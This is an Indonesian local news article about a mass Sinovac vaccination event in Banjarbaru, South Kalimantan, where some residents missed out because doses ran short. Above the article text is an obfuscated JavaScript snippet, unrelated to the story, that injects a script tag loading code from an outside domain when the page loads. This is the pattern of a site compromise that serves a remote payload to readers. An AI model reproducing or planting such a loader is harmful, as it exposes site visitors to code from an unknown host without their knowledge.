(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Jatah Vaksin Terbatas, Warga Sempat Kecewa Ada yang Tak Kebagian

KANALKALIMANTAN.COM, BANJARBARU– Vaksinasi massal yang digelar IMI Kalsel bersama Polda Kalsel, Rabu (14/7/2021) disambut antusias warga. Saking banyaknya, hingga beberapa di antaranya tak kebagian jatah vaksin.

Antusiasme masyarakat menyambut vaksinasi ini menurut Ketua Indonesia Offroad Federation (IOF) Kalsel, Hariadi, menunjukkan semakin munculnya kesadaran untuk melawan Covid-19.

Namun demikian, terbatasnya jumlah vaksin menyebabkan ada masyarakat yang tak terlayani meskipun sudah datang sejak pagi.

Santi (38), warga asal jalan Ambulung Banjarbaru mengatakan sudah datang ke lokasi pukul 06.00 Wita dan mendapat nomor 225 untuk vaksin tahap pertama.

“Mestinya lebih dipastikan ke depannya jatah untuk kuota vaksin pertama dan kedua. Karena tadi menurut saya pengaturannya masih kurang koordinasi,” katanya.

Sebagaimana diketahui, vaksinasi yang dihadiri masyarakat Banjarbaru ini dihadiri Pj Gubernur Kalsel Safrizal ZA tadi dilaksanakan di Sekretariat IMI Kalsel, Jalan Mistar Cokrokusumo, Kelurahan Sungai Besar, Kota Banjarbaru.

Jenis vaksin yang diberikan adalah sinovac, pelaksana vaksinasi Pusdokkes Polda Kalsel diikuti masyarakat umum.

“Jadi hari ini adalah vaksinasi lanjutan dari vaksinasi pertama di 28 hari yang lalu, tentunya ini adalah hari vaksinasi kedua akan tetapi tidak menuntut kemungkinan kita juga melaksanakan kembali vaksinasi pertama,” ungkap Edy Sudarmadi.

Ia menyampaikan, secara teknis pihak Polda Kalsel yang mengatur pelaksanaan dan pihaknya memfasilitasi tempatnya.

Kemudian dijelaskan untuk vaksinasi pertama pada waktu lalu mencapai hampir 700 orang, dan untuk vaksinasi kedua disiapkan sekitar 880 vaksin.

“Animo masyarakat cukup luar biasa dan kami pun meminta maaf melakukan suatu pemblokkan, dan pembagian waktu pagi dan siang. Ini dikarenakan di dalam sudah penuh sehingga kita harapkan bisa mengerti karena kewaspadaan tetap kita laksanakan,” terangnya. (Kanalkalimantan.com/shintia)

Reporter: shintia
Editor: cell